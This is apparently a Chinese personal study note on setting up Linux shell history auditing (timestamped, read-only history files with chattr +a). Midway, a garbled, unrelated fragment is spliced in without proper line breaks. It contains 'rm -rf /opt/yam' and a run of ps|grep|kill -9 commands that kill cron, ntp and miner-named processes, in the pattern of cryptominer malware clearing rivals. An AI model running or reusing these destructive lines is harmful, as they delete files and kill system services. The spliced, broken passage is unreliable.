可设置history命令显示的历史记录条目关联的时间戳输出格式
例:readonly HISTTIMEFORMAT="%F %T `who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[{}]//g' ` `whoami ` "
history命令输出为:
[bei@localhost ~]$ history | tail -5
2188 2018-09-18 20:22:14 (192.168.20.xxx) bei history
2189 2018-09-18 20:22:21 (192.168.20.xxx) bei ifconfig
2190 2018-09-18 20:22:49 (192.168.20.xxx) bei cat -n /var/history/bei-507.log | tail -5
2191 2018-09-18 20:27:45 (192.168.20.xxx) bei history | tail -10
2192 2018-09-18 20:27:51 (192.168.20.xxx) bei history | tail -5
HISTCONTROL
控制命令在历史列表中记录方式
ignorespace:以空格开头的行不会记录在历史中
ignoredups:忽略重复的命令
ignoreboth:参数ignorespace和ignoredups同时生效
关于readonly
变量前写上readonlylinux命令,非root用户变量不可更改
>>>创建目录/var/history ——> mkdir /var/history
给目录/var/history赋予所有人的写权限 ——> chmod a+w /var/history
给目录/var/history赋予特殊属性a ——> chattr +a /var/history
>>>编辑/etc/profile修改shell命令记录的参数
readonly HISTFILE=/var/history/$USER-$UID.log #设置保存命令历史记录的路径及文件名称
readonly HISTSIZE=null
readonly HISTFILESIZE=500000
awk---grep---sed [root@book class]# df -k | awk '{print $1}' | grep -v 'none' | sed s"/\/dev\///g"。netstat -ant | awk '{print $nf}' | grep -v '[a-z]' | sort | uniq -c。 then rm -rf /opt/yamfips auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9ps auxf|grep -v grep|grep "mine。
shopt -s histappend #一个用户可以同时打开多个终端
readonly PROMPT_COMMAND="history -a" #实时追加当前历史命令到history文件
if [ "$HISTCONTROL" = "ignorespace" ] ; then
export HISTCONTROL=ignoreboth
else
export HISTCONTROL=ignoredups
fi
export HISTSIZE HISTCONTROL
说明:
>>>以上内容是本人学习的总结
>>>如还有错误,请留言linux命令,指正